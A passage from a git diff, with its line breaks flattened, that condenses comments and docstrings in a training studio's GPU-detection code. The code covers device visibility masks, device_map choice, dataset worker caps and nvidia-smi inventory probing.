the first call.- """+ """Number of GPUs visible to this process, respecting CUDA_VISIBLE_DEVICES and falling back to the physical count when it is unset or torch is unavailable. Cached after the first call."""global _visible_gpu_countif _visible_gpu_count is not None:return _visible_gpu_count- # Prefer torch.xpu.device_count() on Intel XPU: the Level Zero runtime- # correctly interprets ZE_AFFINITY_MASK semantics (e.g. subdevice syntax- # "0.0,0.1" collapses onto one root GPU). Supersedes the torch fallback below.+ # Prefer torch.xpu.device_count() on Intel XPU: the Level Zero runtime interprets ZE_AFFINITY_MASK semantics correctly (subdevice syntax "0.0,0.1" collapses onto one root GPU).if get_device() == DeviceType.XPU:xpu_mask_raw = os.environ.get("ZE_AFFINITY_MASK")xpu_mask_set = xpu_mask_raw is not None@@ -7218,25 +5730,19 @@ def get_visible_gpu_count() -> int:e,)if xpu_visible:- # Fallback: count unique root device IDs from the mask.- # "device.subdevice" notation means "0.0,0.1" is 1 root, not 2.- # Without torch the hierarchy mode is unknown, so root-device- # counting is the conservative choice.+ # Fallback: count unique root device IDs from the mask, where "0.0,0.1" is 1 root, not 2. Without torch the hierarchy mode is unknown, so root-device counting is the conservative choice.if xpu_visible == "*":# Documented wildcard: all physical XPUs visible._visible_gpu_count = get_physical_gpu_count()else:roots = _parse_ze_mask_roots(xpu_visible)- # Non-parseable masks (",,,", "GPU-abc") yield an empty- # roots list, treated as 0 visible devices, not "all- # visible" -- no evidence the whole fleet was intended.+ # Non-parseable masks (",,,", "GPU-abc") yield an empty roots list, treated as 0 visible devices rather than "all visible": no evidence the whole fleet was intended._visible_gpu_count = len(set(roots))else:_visible_gpu_count = get_physical_gpu_count()return _visible_gpu_count- # _get_parent_visible_gpu_spec() already handles HIP_VISIBLE_DEVICES /- # ROCR_VISIBLE_DEVICES on ROCm.+ # _get_parent_visible_gpu_spec() already handles HIP_VISIBLE_DEVICES / ROCR_VISIBLE_DEVICES on ROCm.visible_spec = _get_parent_visible_gpu_spec()if visible_spec["raw"] is not None:raw = visible_spec["raw"].strip()@@ -7248,8 +5754,7 @@ def get_visible_gpu_count() -> int:_visible_gpu_count = len([x for x in raw.split(",") if x.strip()])return _visible_gpu_count- # No visibility env var set -- try torch, else physical count. XPU is- # handled by the early return above, so only torch.cuda is needed here.+ # No visibility env var set: try torch, else the physical count. XPU returns early above, so only torch.cuda is needed here.try:import torch_visible_gpu_count = torch.cuda.device_count()@@ -7260,19 +5765,13 @@ def get_visible_gpu_count() -> int:def _rocr_relative_visibility(value: str) -> Optional[str]:- """``value`` (physical ids) as ordinals into the ROCr-filtered agent list, else None.-- HIP indexes what ROCr left: under ``ROCR_VISIBLE_DEVICES=1,0`` a HIP mask of "1" is- physical GPU 0. Clearing the ROCr mask instead would re-expose the agents it hides,- which HSA can crash on merely enumerating."""+ """``value`` (physical ids) as ordinals into the ROCr-filtered agent list, else None. HIP indexes what ROCr left: under ROCR_VISIBLE_DEVICES=1,0 a HIP mask of "1" is physical GPU 0. Clearing the ROCr mask instead would re-expose the agents it hides, which HSA can crash on merely enumerating."""if sys.platform == "win32" or "HIP_VISIBLE_DEVICES" in os.environ:return Nonerocr = os.environ.get("ROCR_VISIBLE_DEVICES")if rocr is None:return None- # rocclr reads CUDA_VISIBLE_DEVICES as the HIP-layer mask when HIP_VISIBLE_DEVICES is- # empty (rocclr/device/rocm/rocdevice.cpp:391), so the ids already went through it- # once and translating again resolves to a GPU the parent deliberately hid.+ # rocclr reads CUDA_VISIBLE_DEVICES as the HIP-layer mask when HIP_VISIBLE_DEVICES is empty (rocdevice.cpp:391), so the ids already went through it once and translating again resolves to a GPU the parent deliberately hid.if _rocm_visibility_masks_are_stacked():return Nonetry:@@ -7290,8 +5789,7 @@ def apply_gpu_ids(gpu_ids, backend: Optional[str] = None) -> None:if gpu_ids is None:return- # Empty list -> treat like None (inherit parent); setting CUDA_VISIBLE_DEVICES=""- # disables CUDA entirely and crashes downstream torch calls.+ # Empty list -> treat like None (inherit parent); setting CUDA_VISIBLE_DEVICES="" disables CUDA entirely and crashes downstream torch calls.if isinstance(gpu_ids, (list, tuple)) and len(gpu_ids) == 0:return@@ -7302,26 +5800,13 @@ def apply_gpu_ids(gpu_ids, backend: Optional[str] = None) -> None:else:value = str(gpu_ids)- # Intel XPU honors ZE_AFFINITY_MASK, not CUDA_VISIBLE_DEVICES; route XPU- # pinning through it so worker subprocesses are restricted to the intended GPU.- # Decide WITHOUT get_device(): workers call this before detect_hardware(),- # and a lazy detect would probe torch.cuda against the unmasked parent env,- # latching device enumeration before the mask below is written. Pre-detect,- # use env + torch BUILD attributes only (no runtime init, like the ROCm- # mirror below).+ # Intel XPU honors ZE_AFFINITY_MASK, not CUDA_VISIBLE_DEVICES, so route XPU pinning through it. Decide WITHOUT get_device(): workers call this before detect_hardware(), and a lazy detect would probe torch.cuda against the unmasked parent env, latching device enumeration before the mask below is written._is_xpu = DEVICE == DeviceType.XPUif backend is not None:- # The spawning parent's detected backend (config["device_backend"]):- # exact and probe-free, so the mask target always matches what- # detect_hardware() decided in the parent, including its XPU- # availability check and CUDA fallback.+ # The spawning parent's detected backend (config["device_backend"]): exact and probe-free, so the mask target always matches what detect_hardware() decided in the parent._is_xpu = backend == DeviceType.XPU.valueelif DEVICE is None:- # No parent backend passed (direct caller). version.xpu can be None- # on a working XPU build, so also accept torch.xpu._is_compiled()- # (a pure symbol-presence check, no runtime init). UNSLOTH_FORCE_XPU- # counts only on an XPU-capable build: detect_hardware() falls back- # to CUDA when XPU is missing, and the mask target must follow.+ # No parent backend passed (direct caller). version.xpu can be None on a working XPU build, so also accept torch.xpu._is_compiled(), a symbol-presence check with no runtime init. UNSLOTH_FORCE_XPU counts only on an XPU-capable build, since detect_hardware() falls back to CUDA when XPU is missing.try:import torch as _torch@@ -7333,11 +5818,7 @@ def apply_gpu_ids(gpu_ids, backend: Optional[str] = None) -> None:if os.environ.get("UNSLOTH_FORCE_XPU") == "1":_is_xpu = _xpu_buildelse:- # Mirror detect_hardware: hidden CUDA prefers XPU on an- # XPU-capable build (with or without a ZE mask -- detection- # falls through to XPU either way), where writing these ids- # to CUDA_VISIBLE_DEVICES would re-expose the deliberately- # hidden CUDA.+ # Mirror detect_hardware: hidden CUDA prefers XPU on an XPU-capable build, where writing these ids to CUDA_VISIBLE_DEVICES would re-expose the deliberately hidden CUDA._cvd = os.environ.get("CUDA_VISIBLE_DEVICES")_cuda_hidden = _cvd is not None and _cvd.strip() in ("", "-1")_is_xpu = _xpu_build and (@@ -7352,8 +5833,7 @@ def apply_gpu_ids(gpu_ids, backend: Optional[str] = None) -> None:)if _is_xpu:os.environ["ZE_AFFINITY_MASK"] = value- # Leave inherited CUDA_VISIBLE_DEVICES alone -- clearing it could let- # the worker flip back to CUDA on hybrid hosts.+ # Leave inherited CUDA_VISIBLE_DEVICES alone: clearing it could let the worker flip back to CUDA on hybrid hosts._visible_gpu_count = Nonelogger.info("Applied gpu_ids: ZE_AFFINITY_MASK='%s'", value)return@@ -7396,36 +5876,9 @@ def apply_gpu_ids(gpu_ids, backend: Optional[str] = None) -> None:def get_device_map(gpu_ids: Optional[list[int]] = None) -> str:- """Return the Hugging Face ``device_map`` string for model loading.-- Returns ``"unsloth_balanced"`` on CUDA, or ``"balanced"`` on XPU, to shard- across GPUs when:- - ``gpu_ids`` explicitly lists >1 GPU, **or**- - ``CUDA_VISIBLE_DEVICES``/``ZE_AFFINITY_MASK`` uses non-numeric- identifiers (UUID/MIG/wildcard) and >1 GPU is visible (fallback:- numeric IDs unresolvable, so assume multi-GPU is intended).-- CUDA asks for unsloth's head-aware planner instead of accelerate's- ``"balanced"``, which caps every device but the last at about- ``model_size / n_devices``. On a quantized model the unquantized ``lm_head``- then does not fit on cuda:0, every module lands on the last card, and a 4bit- model wholly on a non-zero card cannot be trained: ``prepare_model`` refuses it.-- ``"unsloth_balanced"`` rather than ``"unsloth"`` because the planner declines- several shapes -- a full finetune, an ``auto_model`` with no ``_model_mapping``,- a Falcon-H1 checkpoint missing the mamba exclusions, and any added later -- and- the plain name falls back to ``"sequential"``, which fills cuda:0 to its whole- free budget: a 7B in bf16 across 2x16 GiB lands entirely on cuda:0 against 13/19- for ``balanced``. Naming the fallback keeps every declined shape sharded without- Studio enumerating a list that belongs to unsloth.-- XPU keeps plain ``"balanced"``: the planner has no non-CUDA memory budgets.-- Returns ``"sequential"`` (single device) otherwise, including CPU/MLX- backends.-- Use ``prepare_gpu_selection()`` upstream to determine ``gpu_ids`` -- it- handles auto-selecting the minimum GPUs needed for a model.+ """The Hugging Face ``device_map`` string for model loading: "unsloth_balanced" on CUDA or "balanced" on XPU when gpu_ids lists >1 GPU, or when the visibility mask uses UUID/MIG/wildcard identifiers and >1 GPU is visible; "sequential" otherwise, including CPU/MLX.++ CUDA asks for unsloth's head-aware planner rather than accelerate's "balanced", which caps every device but the last at about model_size / n_devices: the unquantized lm_head then does not fit on cuda:0, every module lands on the last card, and prepare_model refuses a 4bit model wholly on a non-zero card. "unsloth_balanced" rather than "unsloth" because the planner declines several shapes and the plain name falls back to "sequential", which fills cuda:0 to its whole free budget. XPU keeps plain "balanced": the planner has no non-CUDA memory budgets. Use prepare_gpu_selection() upstream to determine gpu_ids."""device = get_device()if device in (DeviceType.CUDA, DeviceType.XPU):@@ -7434,14 +5887,11 @@ def get_device_map(gpu_ids: Optional[list[int]] = None) -> str:if not multi_gpu:parent_visible_spec = _get_parent_visible_gpu_spec()if device == DeviceType.CUDA:- # UUID/MIG masks can't be split into numeric IDs; >1 visible GPU- # means multi-GPU sharding is intended.+ # UUID/MIG masks cannot be split into numeric IDs; >1 visible GPU means multi-GPU sharding is intended.if parent_visible_spec["numeric_ids"] is None and get_visible_gpu_count() > 1:multi_gpu = Trueelif device == DeviceType.XPU and gpu_ids is None:- # Shard across visible XPU ordinals via HF (no mask rewrite),- # only when no gpu_ids were passed -- an explicit gpu_ids=[0]- # means "use exactly device 0" and must stay sequential.+ # Shard across visible XPU ordinals via HF (no mask rewrite), only when no gpu_ids were passed: an explicit gpu_ids=[0] means "use exactly device 0" and must stay sequential.supports_physical = parent_visible_spec["supports_explicit_gpu_ids"]has_multiple_numeric = (parent_visible_spec["numeric_ids"] is not None@@ -7487,10 +5937,7 @@ def raise_if_offloaded(def get_torch_device_str() -> str:- """- Return the torch device string for the detected hardware.- E.g. "cuda", "xpu", or "cpu".- """+ """The torch device string for the detected hardware, e.g. "cuda", "xpu" or "cpu"."""device = get_device()if device == DeviceType.CUDA:return "cuda"@@ -7499,50 +5946,22 @@ def get_torch_device_str() -> str:return "cpu"-# Mirrors AUTO_NUM_PROC_CAP in unsloth_zoo.dataset_num_proc; copied rather than-# imported to keep hardware detection free of the training package. A canary in-# tests/utils/test_dataset_num_proc.py fails if the two drift.+# Mirrors AUTO_NUM_PROC_CAP in unsloth_zoo.dataset_num_proc; copied rather than imported to keep hardware detection free of the training package. A canary in tests/utils/test_dataset_num_proc.py fails if the two drift._STUDIO_NUM_PROC_CAP = 8def safe_num_proc(desired: Optional[int] = None) -> int:- """- Return a safe ``num_proc`` for ``dataset.map()`` calls.-- On Windows always returns 1: Python uses ``spawn`` not ``fork``, so- re-importing torch/transformers/unsloth per worker is typically slower- than single-process for normal dataset sizes.-- On multi-GPU machines (multiple GPUs *visible* to this process) the- NVIDIA driver spawns extra background threads, making ``os.fork()``- deadlock-prone with many workers, so this caps ``num_proc`` to 4.- The cap does not apply when ``CUDA_VISIBLE_DEVICES`` restricts to one GPU.-- Args:- desired: The num_proc you *want*. If None, auto-computes from- ``os.cpu_count()``.-- Returns:- A safe integer ≥ 1.- """- # Windows/macOS use 'spawn'; re-importing torch/transformers/unsloth per- # worker is typically slower than single-process.+ """A safe ``num_proc`` for ``dataset.map()``, auto-computed from os.cpu_count() when ``desired`` is None, always >= 1. Always 1 on Windows, which spawns rather than forks, so re-importing torch/transformers/unsloth per worker beats single-process only for huge datasets. Capped to 4 when several GPUs are VISIBLE to this process, since the NVIDIA driver's background threads make os.fork() deadlock-prone; the cap does not apply when CUDA_VISIBLE_DEVICES restricts to one GPU."""+ # Windows/macOS use 'spawn'; re-importing torch/transformers/unsloth per worker is typically slower than single-process.if sys.platform in ("win32", "darwin"):return 1if desired is None or not isinstance(desired, int):desired = max(1, (os.cpu_count() or 1) // 3)- # Every number reaching here is a backend heuristic (cpu_count // 3 above,- # cpu_count // 4 from trainer.py), but downstream it looks like user intent- # and is only clamped by free memory, so a 64-core host sends 16 workers to- # Dataset.map -- the shape of issue #2693, and slower besides (32 workers- # measured 14.2s against 6.3s in-process, ~1GB each).+ # Every number reaching here is a backend heuristic, but downstream it looks like user intent and is only clamped by free memory, so a 64-core host sends 16 workers to Dataset.map -- the shape of #2693, and slower besides (32 workers measured 14.2s against 6.3s in-process).if desired > _STUDIO_NUM_PROC_CAP:- # No mention of UNSLOTH_DATASET_NUM_PROC here: this function returns an- # int >= 1 and cannot express the in-process the hatch promises. The- # hatch is read in dataset_map_num_proc, which is the path whose value- # reaches Dataset.map.+ # No mention of UNSLOTH_DATASET_NUM_PROC here: this function returns an int >= 1 and cannot express the in-process the hatch promises. The hatch is read in dataset_map_num_proc, whose value reaches Dataset.map.logger.info(f"num_proc {desired} -> {_STUDIO_NUM_PROC_CAP}: tokenization stops "f"scaling well before this and each worker holds its own tokenizer copy."@@ -7562,19 +5981,7 @@ def safe_num_proc(desired: Optional[int] = None) -> int:def safe_thread_num_proc(desired: Optional[int] = None) -> int:- """- Return a safe worker count for ``ThreadPoolExecutor`` calls.-- Unlike ``safe_num_proc()``, does NOT cap to 1 on macOS/Windows: threads- share the parent address space, unaffected by ``spawn`` vs ``fork``.-- Args:- desired: The thread count you *want*. If None, auto-computes- from ``os.cpu_count()``.-- Returns:- A safe integer >= 1.- """+ """A safe worker count for ThreadPoolExecutor, auto-computed from os.cpu_count() when ``desired`` is None, always >= 1. Unlike safe_num_proc() it does NOT cap to 1 on macOS/Windows: threads share the parent address space, unaffected by spawn vs fork."""if desired is None or not isinstance(desired, int):desired = max(1, (os.cpu_count() or 1) // 3)@@ -7584,58 +5991,22 @@ def safe_thread_num_proc(desired: Optional[int] = None) -> int:def dataset_map_num_proc(desired: Optional[int] = None, *, serial_as_none: bool = True) -> Optional[int]:- """- Return a safe ``num_proc`` for ``Dataset.map()`` and ``Dataset.filter()``.-- Returns ``None`` on spawn platforms (Windows, macOS). ``None`` -- not ``1``- -- is the disable sentinel: ``datasets`` >= 4.1 (Unsloth pins 4.3.0) takes- the pool branch for any ``num_proc >= 1``, so ``1`` still builds a- ``Pool(1)``.-- Also returns ``None`` on XPU once its runtime is initialized in this- process: ``os.fork()`` corrupts the Level-Zero context, making Triton- kernels fail with "Pointer argument doesn't reference XPU device memory".- Pre-init XPU hosts can still parallelize CPU-side preprocessing.-- There is deliberately no CUDA equivalent: the child only runs the tokenizer,- and 300 forced-fork map() runs on an initialized CUDA context produced no- failures. Since ``detect_hardware()`` always initializes CUDA, such a guard- would serialize every CUDA run for nothing. The worker-count bound in- ``unsloth_zoo.dataset_num_proc`` is what addresses issue #2693.-- ``serial_as_none`` says how to spell "run in-process" for the layer that- reads the value back, exactly as in ``unsloth_zoo.dataset_num_proc``. Leave- it True at a ``map()`` call site, where ``None`` is the only value that- builds no pool. Pass **False when the result is written into a config**- (``SFTConfig.dataset_num_proc``): a config ``None`` means "auto-size me" to- every downstream reader, so a serial request stored as ``None`` comes back- out as a full worker set. Only ``1`` survives that round trip, and the SFT- map site turns it back into ``None``.+ """A safe ``num_proc`` for Dataset.map()/filter(). None on spawn platforms (Windows, macOS) -- None, not 1, is the disable sentinel, since datasets >= 4.1 takes the pool branch for any num_proc >= 1. Also None on XPU once its runtime is initialized here, because os.fork() corrupts the Level-Zero context; pre-init XPU hosts can still parallelize CPU-side preprocessing. There is deliberately no CUDA equivalent: the child only runs the tokenizer, 300 forced-fork map() runs on an initialized CUDA context produced no failures, and detect_hardware() always initializes CUDA, so such a guard would serialize every CUDA run for nothing.++ ``serial_as_none`` says how to spell "run in-process" for the layer reading the value back. Leave it True at a map() call site, where None is the only value that builds no pool. Pass False when the result is written into a config (SFTConfig.dataset_num_proc): a config None means "auto-size me" to every downstream reader, so only 1 survives that round trip."""if sys.platform in ("win32", "darwin"):- # ``UNSLOTH_DATASET_NUM_PROC`` is an unvetoed escape hatch in the shared- # policy, so a user who has read the dead-worker message and accepted- # spawn workers must not be overruled here without a word. Only the- # hatch can produce a count on this platform; everything else falls- # through to the veto below.+ # UNSLOTH_DATASET_NUM_PROC is an unvetoed escape hatch in the shared policy, so a user who has read the dead-worker message and accepted spawn workers must not be overruled here. Only the hatch can produce a count on this platform.if _num_proc_override_is_set():return _bounded_by_the_shared_policy(desired, serial_as_none)- # ``None`` is safe at either layer here: workers are unusable on a spawn- # platform, so every auto-sizer that reads a config ``None`` vetoes too- # and nothing can inflate it. A ``1`` would be worse -- only the SFT map- # site is rewritten, so DPO/KTO/CPO/ORPO/Reward/PRM would hand that 1- # straight to Dataset.map and get a Pool(1) whose child re-imports the- # user's __main__ (#3211 / #3397).+ # None is safe at either layer here: workers are unusable on a spawn platform, so every auto-sizer that reads a config None vetoes too. A 1 would be worse -- only the SFT map site is rewritten, so DPO/KTO/CPO/ORPO/Reward/PRM would hand it to Dataset.map and get a Pool(1) whose child re-imports the user's __main__ (#3211 / #3397).return Noneif get_device() == DeviceType.XPU:try:import torchexcept Exception:- # No torch means no active XPU runtime, so CPU-side dataset- # parallelism is still safe -- but it is still bounded, or a- # torch-less container would be the one path that ignores the- # memory ceiling and the escape hatch.+ # No torch means no active XPU runtime, so CPU-side dataset parallelism is still safe -- but still bounded, or a torch-less container would be the one path ignoring the memory ceiling and the escape hatch.return _bounded_by_the_shared_policy(desired, serial_as_none)xpu = getattr(torch, "xpu", None)@@ -7643,43 +6014,24 @@ def dataset_map_num_proc(if callable(is_initialized):try:if is_initialized():- # Same reading as the spawn branch above: the hatch is- # unvetoed by contract, so someone who has accepted the- # risk on XPU is not overruled here without a word.+ # Same reading as the spawn branch above: the hatch is unvetoed by contract, so someone who has accepted the risk on XPU is not overruled without a word.if _num_proc_override_is_set():return _bounded_by_the_shared_policy(desired, serial_as_none)- # Unlike the spawn platforms above, forking is still- # available here, so a config ``None`` WOULD be auto-sized- # back up and fork the corrupted Level-Zero context this- # guard exists to protect. Encode serial for the layer.+ # Unlike the spawn platforms above, forking is still available here, so a config None WOULD be auto-sized back up and fork the corrupted Level-Zero context this guard protects. Encode serial for the layer.return None if serial_as_none else 1except Exception as e:- # Treat a failing probe as "runtime not touched yet" so- # pre-init CPU preprocessing can still parallelize.+ # Treat a failing probe as "runtime not touched yet" so pre-init CPU preprocessing can still parallelize.logger.debug("torch.xpu.is_initialized() probe failed: %s", e)return _bounded_by_the_shared_policy(desired, serial_as_none)-# sys.modules key for the copy loaded off disk below. Not "unsloth.dataset_num_proc":-# that name belongs to the package, and claiming it would make a later real import-# of unsloth return this module instead.+# sys.modules key for the copy loaded off disk below. Not "unsloth.dataset_num_proc": that name belongs to the package, and claiming it would make a later real import of unsloth return this module instead._LOCAL_POLICY_MODULE = "unsloth_studio_local_dataset_num_proc"def _shared_policy():- """The shared num_proc policy module, or None on an installation without it.-- The Zoo owns it. ``unsloth.dataset_num_proc`` is a byte-identical fallback- for a Zoo that predates the module. ``import unsloth.dataset_num_proc``- would run the package __init__, which patches torch and loads the model- stack -- unacceptable from inside hardware detection -- so that form is used- only when the package is already imported. Otherwise the file is loaded- straight off disk, which is safe because the module is stdlib-only by- design: the API process reaches format conversion without importing unsloth- at all, and leaving it with no policy there is what the 2GB container with- eight cores used to hit.- """+ """The shared num_proc policy module, or None on an installation without it. The Zoo owns it, and unsloth.dataset_num_proc is a byte-identical fallback for a Zoo that predates the module. `import unsloth.dataset_num_proc` would run the package __init__, which patches torch and loads the model stack, so that form is used only when the package is already imported; otherwise the file is loaded straight off disk, which is safe because the module is stdlib-only by design."""try:import unsloth_zoo.dataset_num_proc as policyreturn policy@@ -7692,17 +6044,14 @@ def _shared_policy():except Exception as e:logger.debug("local dataset_num_proc fallback unavailable: %s", e)return None- # Memoised through sys.modules: the policy warns once per process about a- # vetoed count, and re-executing the file on every map() call would reset- # that and re-read the cgroup tree each time.+ # Memoised through sys.modules: the policy warns once per process about a vetoed count, and re-executing the file on every map() call would reset that and re-read the cgroup tree each time.cached = sys.modules.get(_LOCAL_POLICY_MODULE)if cached is not None:return cachedtry:import importlib.util- # find_spec does not execute a top-level package, so this locates- # unsloth/ without importing it.+ # find_spec does not execute a top-level package, so this locates unsloth/ without importing it.package = importlib.util.find_spec("unsloth")if package is None or not package.submodule_search_locations:return None@@ -7720,19 +6069,13 @@ def _shared_policy():def _num_proc_override_is_set() -> bool:- """Whether the escape hatch decided the count, not merely whether it is set.-- The policy ignores an unparseable or negative value with a warning, so- reading the variable directly would let ``UNSLOTH_DATASET_NUM_PROC=-1``- skip the multi-GPU cap while contributing nothing.- """+ """Whether the escape hatch decided the count, not merely whether it is set: the policy ignores an unparseable or negative value with a warning, so reading the variable directly would let UNSLOTH_DATASET_NUM_PROC=-1 skip the multi-GPU cap while contributing nothing."""policy = _shared_policy()if policy is None:return Falseparsed = getattr(policy, "environment_override", None)if parsed is None:- # A policy that predates the public reader: presence is the best- # available answer, and it errs toward honouring the hatch.+ # A policy that predates the public reader: presence is the best available answer, and it errs toward honouring the hatch.return bool(os.environ.get(policy.NUM_PROC_ENV_VAR, "").strip())try:was_set, _value = parsed()@@ -7745,22 +6088,7 @@ def _num_proc_override_is_set() -> bool:def _bounded_by_the_shared_policy(desired: Optional[int], serial_as_none: bool = True) -> Optional[int]:- """Apply the training-side num_proc policy to an Unsloth request.-- ``format_conversion.py`` and ``chat_templates.py`` hand this straight to- ``Dataset.map``, so without it a container with 2GB and eight cores still got- eight tokenizer workers -- the OOM this policy exists to stop -- and- ``UNSLOTH_DATASET_NUM_PROC`` did nothing on those paths.-- ``desired`` is passed through as the caller wrote it. Materializing an auto- request with ``safe_num_proc`` first would hide it from the policy, whose- auto path reads this process's CPU affinity and cgroup quota while- ``safe_num_proc`` reads the host's ``os.cpu_count()``: a 2-core container on- a 64-core box asked for 21 workers and got them bounded only by memory.- Unsloth's own caps are then applied to whatever the policy chose, since the- multi-GPU fork-deadlock cap is knowledge the policy does not have -- except- over the escape hatch, which is uncapped by contract.- """+ """Apply the training-side num_proc policy to an Unsloth request. format_conversion.py and chat_templates.py hand this straight to Dataset.map, so without it a container with 2GB and eight cores still got eight tokenizer workers. ``desired`` is passed through as written: materializing an auto request with safe_num_proc first would hide it from the policy, whose auto path reads this process's CPU affinity and cgroup quota while safe_num_proc reads the host's os.cpu_count(). Unsloth's own caps are then applied to whatever the policy chose, except over the escape hatch, which is uncapped by contract."""policy = _shared_policy()if policy is None:return safe_num_proc(desired) # the behaviour before the shared policydiff --git a/studio/backend/utils/hardware/nvidia.py b/studio/backend/utils/hardware/nvidia.pyindex 7fa67607a49..26cb01c7eb6 100644--- a/studio/backend/utils/hardware/nvidia.py+++ b/studio/backend/utils/hardware/nvidia.py@@ -226,8 +226,7 @@ def get_visible_gpu_utilization())- # nvidia-smi emits physical row order, so a reordering mask would hand back- # devices whose position contradicts their own visible_ordinal.+ # nvidia-smi emits physical row order, so a reordering mask would hand back devices whose position contradicts their own visible_ordinal.devices.sort(key = lambda d: d["visible_ordinal"])return {@@ -240,15 +239,7 @@ def get_visible_gpu_utilization(def _nvidia_smi_executable() -> str:- """The nvidia-smi to run, resolving the standard Windows locations off PATH.-- A driver install can leave nvidia-smi.exe in the NVSMI directory or the driver- store without putting either on PATH, and a bare "nvidia-smi" then raises- FileNotFoundError. That would leave the physical inventory empty on exactly the- host this inventory exists for: real GPUs, a PyTorch that cannot see them. Same- two locations setup.ps1 already falls back to. Returns the bare name when nothing- better is found, so the caller's existing OSError handling still applies.- """+ """The nvidia-smi to run, resolving the standard Windows locations off PATH. A driver install can leave nvidia-smi.exe in the NVSMI directory or the driver store without putting either on PATH, and a bare "nvidia-smi" then raises FileNotFoundError, leaving the physical inventory empty on exactly the host this inventory exists for: real GPUs, a PyTorch that cannot see them. Same two locations setup.ps1 falls back to. Returns the bare name when nothing better is found, so the caller's existing OSError handling still applies."""found = shutil.which("nvidia-smi")if found:return found@@ -266,26 +257,16 @@ def _nvidia_smi_executable() -> str:return "nvidia-smi"-# "nvidia-smi is not on this machine" is a conclusive answer, not a failed probe: it is the-# normal state of every CPU-only, AMD and Intel host, and the installers read the same-# absence the same way. Distinct from None, which means a probe that WAS found could not-# answer -- a hung driver, a permission fault, a non-zero exit.+# "nvidia-smi is not on this machine" is a conclusive answer, not a failed probe: it is the normal state of every CPU-only, AMD and Intel host, and the installers read the same absence the same way. Distinct from None, which means a probe that WAS found could not answer (a hung driver, a permission fault, a non-zero exit).NVIDIA_SMI_ABSENT = object()def _query_gpu_inventory(caller: str) -> Any:"""``[{index, name, memory_total_gb}]`` for every GPU nvidia-smi enumerates.- ``None`` when the query could not be answered at all -- no nvidia-smi on PATH, a- driver that hung past the timeout, a non-zero exit. Callers report that as- "unknown", which is not the same as the empty list a working driver with no- cards returns. Never raises.+ ``None`` when the query could not be answered at all (no nvidia-smi on PATH, a driver that hung past the timeout, a non-zero exit), which callers report as "unknown" and is not the same as the empty list a working driver with no cards returns. Never raises.- Split out of get_backend_visible_gpu_info so the same rows can be read WITHOUT a- ``DeviceType.CUDA`` precondition: get_physical_gpu_inventory below is reached on- exactly the host where torch reports no CUDA device, and that host still has its- GPUs. Rows a caller cannot make sense of are dropped, not raised on -- a name- holding commas is rejoined, and a malformed index or memory column skips the row.+ Split out of get_backend_visible_gpu_info so the same rows can be read WITHOUT a ``DeviceType.CUDA`` precondition: get_physical_gpu_inventory below is reached on exactly the host where torch reports no CUDA device, and that host still has its GPUs. Rows a caller cannot make sense of are dropped rather than raised on: a name holding commas is rejoined, and a malformed index or memory column skips the row."""try:result = subprocess.run(@@ -303,9 +284,7 @@ def _query_gpu_inventory(caller: str) -> Any:**_windows_hidden_subprocess_kwargs(),)except FileNotFoundError as e:- # No nvidia-smi at all, the NORMAL state of every CPU-only, AMD and Intel host. This is- # called on a 60 second refresh reached from the health and system polls, so warning here- # would log a line every minute on machines that are working correctly.+ # No nvidia-smi at all, the NORMAL state of every CPU-only, AMD and Intel host. This is called on a 60 second refresh reached from the health and system polls, so warning here would log a line every minute on machines that are working correctly.logger.debug("nvidia-smi is not installed (%s): %s", caller, e)return NVIDIA_SMI_ABSENTexcept (OSError, subprocess.TimeoutExpired) as e:@@ -326,11 +305,7 @@ def _query_gpu_inventory(caller: str) -> Any:continue# Rejoin in case the GPU name contains commasname = parts[1] if len(parts) == 3 else ", ".join(parts[1:-1])- # A capacity this build of nvidia-smi will not report ("[N/A]", as _parse_smi_value- # already recognises) is a missing metric, not a missing card. Dropping the row hid- # the GPU from the whole inventory, and on Linux the procfs fallback does not run- # either, since that answers for a query that FAILED rather than one that came back- # short: the host lost its mismatch and its repair guidance over an unknown size.+ # A capacity this build of nvidia-smi will not report ("[N/A]", as _parse_smi_value already recognises) is a missing metric, not a missing card. Dropping the row hid the GPU from the whole inventory, and the Linux procfs fallback does not run either since it answers for a query that FAILED rather than one that came back short: the host lost its mismatch and its repair guidance over an unknown size.mem_total_mb = _parse_smi_value(parts[-1])rows.append({@@ -345,11 +320,7 @@ def _query_gpu_inventory(caller: str) -> Any:def _linux_nvidia_procfs_gpu_count() -> int:- """How many GPUs the NVIDIA kernel driver enumerates under /proc, or 0.-- One subdirectory per GPU, published whatever nvidia-smi's state is, which is why the- installer falls back to it too. Never raises; 0 on any platform without it.- """+ """How many GPUs the NVIDIA kernel driver enumerates under /proc, or 0. One subdirectory per GPU, published whatever nvidia-smi's state is, which is why the installer falls back to it too. Never raises; 0 on any platform without it."""if platform.system() != "Linux":return 0try:@@ -360,21 +331,11 @@ def _linux_nvidia_procfs_gpu_count() -> int:def get_physical_gpu_inventory() -> dict[str, Any]:- """Every NVIDIA GPU the driver enumerates, with no visibility mask and no torch.-- Display-only inventory: ``index`` is nvidia-smi's own row number, which is a- physical id and NOT something a caller may pin, because the whole point of this- probe is that PyTorch cannot open these devices. A failed probe comes back as a- structured unavailable result, so this never raises out of an endpoint.- """+ """Every NVIDIA GPU the driver enumerates, with no visibility mask and no torch. Display-only inventory: ``index`` is nvidia-smi's own row number, a physical id and NOT something a caller may pin, because the whole point of this probe is that PyTorch cannot open these devices. A failed probe comes back as a structured unavailable result, so this never raises out of an endpoint."""rows = _query_gpu_inventory("get_physical_gpu_inventory")- # Either way the CLI could not answer. The kernel driver publishes its cards regardless,- # and on a cold start there is no settled verdict for the resulting unknown to protect.+ # Either way the CLI could not answer. The kernel driver publishes its cards regardless, and on a cold start there is no settled verdict for the resulting unknown to protect.if (rows is NVIDIA_SMI_ABSENT or rows is None) and _linux_nvidia_procfs_gpu_count():- # The kernel driver is loaded and enumerating cards; only the CLI is missing.- # _has_usable_nvidia_gpu() reads the same directory, so without this the installer can- # repair a CUDA wheel on a host the backend insists has no card. No name and no capacity:- # procfs gives neither, and an invented one would be worse than an honest blank.+ # The kernel driver is loaded and enumerating cards; only the CLI is missing. _has_usable_nvidia_gpu() reads the same directory, so without this the installer can repair a CUDA wheel on a host the backend insists has no card. No name and no capacity: procfs gives neither, and an invented one would be worse than an honest blank.return {"available": True,"source": "proc-driver-nvidia",@@ -392,8 +353,7 @@ def get_physical_gpu_inventory() -> dict[str, Any]:"absent": False,}if rows is NVIDIA_SMI_ABSENT:- # An answer, and the caller must not read it as "some probe failed": an AMD-only host has- # no nvidia-smi by design.+ # An answer, and the caller must not read it as "some probe failed": an AMD-only host has no nvidia-smi by design.return {"available": False,"source": "nvidia-smi",@@ 